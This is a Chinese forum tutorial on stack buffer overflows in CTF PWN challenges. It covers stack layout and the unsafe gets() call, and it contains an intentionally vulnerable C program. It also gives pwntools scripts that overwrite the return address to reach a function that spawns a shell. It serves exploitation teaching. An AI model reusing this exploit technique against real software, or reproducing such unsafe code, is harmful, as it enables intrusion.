本帖最后由 yanzm 于 2019-2-20 10:43 编辑

在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

0x01 基础知识

栈是一种先进后出的数据结构,从高地址向低地址增长的内存结构。

函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等,是系统栈的一部分。

在一次函数调用中,函数调用栈中将被依次压入:函数实参、返回地址、EBP。如果函数有局部变量,接下来就在栈中开辟相应的空间以构造变量。

变量.webp.jpg (20.25 KB, 下载次数: 6)

2019-2-20 10:16 上传

ESP 称为栈顶指针,用来指示当前栈帧的顶部。

EBP 称为栈基址指针,用来指示当前栈帧的底部。

0x02漏洞原理

栈溢出漏洞是由于使用了不安全的函数,如C中的 read(fd, buf, nbytes)、gets(s)等,通过构造特定的数据使得栈溢出,从而导致程序的执行流程被控制。

当程序代码如下时:

int main(int argc, char **argv) {

char s[12];

gets(s);

return 0;

}

栈空间如下:

如下.webp.jpg (17.42 KB, 下载次数: 5)

2019-2-20 10:17 上传

当构造变量char s[12]时,系统就在栈中给s开辟栈空间,可gets(s)函数未限制输入字符长度,可以构造大量的数据来超出变量的空间从而造成溢出,覆盖到s以上的栈空间。

s.webp.jpg (17.54 KB, 下载次数: 3)

2019-2-20 10:18 上传

0x03 解题步骤

步骤.webp.jpg (24.8 KB, 下载次数: 3)

2019-2-20 10:18 上传

例举一道栈溢出的PWN题,根据解题步骤来解答。

1. 逆向工程:

将PWN题拖入IDA,点击程序入口函数。按F5逆向main函数,查看对应的C伪代码。

main函数调用vulnerable()函数。

函数.webp.jpg (52.06 KB, 下载次数: 3)

2019-2-20 10:19 上传

点击进入vulnerable()函数并F5逆向。

F5.webp.jpg (40.47 KB, 下载次数: 7)

2019-2-20 10:30 上传

vulnerable()函数中调用了gets()和puts()函数,而程序的逻辑就运行main函数和vulnerable函数。

vulnerable函数功能:输入字符串,输出字符串

程序中主要函数有

内置行数:gets、puts、system

自定义函数:main、test、success

2. 分析代码:

进行逆向工程拿到C伪代码,代码大致如下:

#include

#include

void success() {

puts("You Hava already controlled it.");

system("/bin/sh");

}

void test() {

puts("Connection Successful.");

}

void vulnerable() {

char s[12];

gets(s);

puts(s);

return;

}

int main(int argc, char **argv) {

vulnerable();

return 0;

}

gets() 是一个危险函数,因为它不检查输入字符串的长度,而是以回车来判断是否输入结束,所以很容易导致栈溢出。

3. 漏洞利用:

查看程序的保护机制:

保护.webp.jpg (28.57 KB, 下载次数: 8)

2019-2-20 10:31 上传

程序在无任何保护的情况下进行解题:

解题.webp.jpg (7.63 KB, 下载次数: 4)

2019-2-20 10:31 上传

输入s的值溢出到返回地址,将返回地址替换成text函数的起始地址。

查看text函数的起始地址。

起始.webp.jpg (7.09 KB, 下载次数: 5)

2019-2-20 10:32 上传

EBP与EBP的距离14H,而栈中的EBP占栈内存4H,所以要覆盖到放回地址需要18H。

18H.webp.jpg (19.81 KB, 下载次数: 3)

2019-2-20 10:37 上传

编写脚本如下:

from pwn import *

sh = process('./Ezreal1')

success_addr = 0x080491DE

payload = 'a' * 0x18 + p32(success_addr)

print p32(success_addr)

sh.sendline(payload)

sh.interactive()

利用脚本后的栈结构如下:

利用.webp.jpg (13.75 KB, 下载次数: 5)

2019-2-20 10:37 上传

所以当函数调用完毕后,执行返回地址时将执行text函数。

运行脚本,成功运行text函数:

成功.webp.jpg (23.35 KB, 下载次数: 5)

2019-2-20 10:38 上传

4. getshell:

分析代码发现程序中有getshell函数,这时就不需要构造shellcode,直接溢出返回地址,让程序执行此函数。

执行.webp.jpg (20.66 KB, 下载次数: 3)

2019-2-20 10:40 上传

查看success函数地址:

查看.webp.jpg (39.19 KB, 下载次数: 6)

2019-2-20 10:41 上传

脚本如下:

##!/usr/bin/env python

from pwn import *

sh = process('./Ezreal1')

success_addr = 0x080491A2

payload = 'a' * 0x18 + p32(success_addr)

print p32(success_addr)

sh.sendline(payload)

sh.interactive()

运行脚本,成功拿到shell:

拿到.webp.jpg (26.08 KB, 下载次数: 3)

2019-2-20 10:42 上传

0x04 小小总结

本期的介绍就到这里啦!祝各位周末愉快!下期将带来在程序开启不同栈保护机制要如何利用漏洞。

qrcode_for_gh_223e082fe8a7_344.jpg (12 KB, 下载次数: 5)

2019-2-20 10:42 上传

Linux栈溢出漏洞原理,盘它!PWN栈溢出漏洞。相关推荐

  1. 简述xss漏洞原理及危害?xss漏洞有哪些类型?xss漏洞哪个类型危害最大?如何防御xss漏洞

    Xss漏洞原理:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的. 危害: 1.窃取用户Cookie 2.后台增删改文章 3.XS ...

  2. WEB常见中间件漏洞原理

    Apache Shiro反序列化 在shiro≤1.2.4版本,默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击.(理 ...

  3. Apache 文件解析漏洞SSRF漏洞原理介绍及代码

    Apache 文件解析漏洞 SSRF漏洞原理介绍及代码 1. Apache 环境简介 2. Apache 解析漏洞介绍 3. 解析漏洞利用演示 4.利用场景介绍 1. Apache 环境简介 ​ Ap ...

  4. CTF|pwn栈溢出入门题level3解题思路及个人总结

    CTF|pwn栈溢出入门题level3解题思路及个人总结 解题思路 拿到题目将文件下载下来拖入ubuntu 发现这一次的文件比较特殊:是一个linux环境下的压缩包,自然而然想到的是解压它 通过命令行 ...

  5. ctf(pwn)栈溢出介绍

    栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致 与其相邻的栈中的变量的值被改变.这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式. ...

  6. 未来函数在线检测_嵌入式实时操作系统任务栈溢出检测原理

    任务栈溢出概述 任务栈溢出是缓冲区溢出的一种. 由于缓冲区溢出而使得有用的存储单元被改写,往往会引发不可预料的后果.程序在运行过程中,为了临时存取数据的需要,一般都要分配一些内存空间,通常称这些空间为 ...

  7. linux shellshock漏洞,shellshock漏洞原理分析(cve-2014-6271 bash漏洞)

    shellshock漏洞原理分析(cve-2014-6271 bash漏洞) 2014-09-26 10:04:16 阅读:0次 概述: 低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造 ...

  8. Pwn 二进制漏洞审计

    PWN的另一个名字是二进制漏洞审计 Pwn和逆向工程一样,是操作底层二进制的,web则是在php层面进行渗透测试 我是从re开始接触CTF的,有一点二进制基础,本文可能会忽略一些基础知识的补充 &qu ...

  9. 攻防世界 pwn 二进制漏洞简单题练习区 答题(1-10题解)

    序 1.level0 题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell 题目思路: 首先使用checksec检查文件保护机制,是多少位的程序. 64位程序,栈不能执行 继续丢入IDA. 输出 ...

  10. 看雪软件安全精选:二进制各种漏洞原理实战分析总结

    看雪安全二进制漏洞专区0xbird原创 本部分将对常见的二进制漏洞做系统分析,方便在漏洞挖掘过程中定位识别是什么类型漏洞,工欲善其事,必先利其器. 0x01栈溢出漏洞原理 栈溢出漏洞属于缓冲区漏洞的一 ...

最新文章

  1. python工程师-史上最全Python工程师常见面试题集锦,有这一份就够了
  2. 字节跳动ClickHouse在用户增长分析场景的应用
  3. String与List类型互转
  4. Winform中实现执行cmd命令的工具类
  5. poj 2240 Bellman-Flod 求环
  6. shell脚本 猜数字游戏并计数比较次数
  7. ajax post提交数据_第三十五天JavaScript中的ajax
  8. 高数:自然数的无穷大符号--->n_max(高等数学的唯一根基所在)
  9. 信息管理系统技术开发合同书(补充协议)模板
  10. for循环:100以内奇数之和
  11. 这4个工具可以帮你图片放大后不模糊保持清晰!
  12. 电脑重装系统后DirectX12旗舰版禁用了怎么解决?
  13. tomcat映射本地磁盘路径
  14. 使用Ruby搭建Redis 集群
  15. Using QByteRef with an index pointing outside the valid range of a QByteArray
  16. 九龙证券|美国散户疯狂抄底,嗅到了什么?华尔街最新警告
  17. 工薪族巧理财之定期存款中整存整取、零存整取、存本取息之间的微妙区别
  18. 大数据分析的几种方法
  19. FileWriter 编码问题
  20. Python(jupyter notebook)--K-means聚类实例

热门文章

  1. 2.数据中台 --- 什么是数据中台
  2. 17. JavaScript Math(算数)对象
  3. 特斯拉线圈怎么用_无线快充居然是特斯拉发明的?不愧是发明家
  4. 《数学之美》—余弦定理和新闻的分类
  5. [福大软工] Z班 团队第一次作业—团队展示成绩公布
  6. iOS定时器NSTimer的使用方法
  7. 8个习惯让你减肥不用节食 - 生活至上,美容至尚!
  8. Delphi版 ArcEngine Mapcontrol与PageControl同步
  9. position学习终结者(一)
  10. liunx 下mysql 的安装(转载)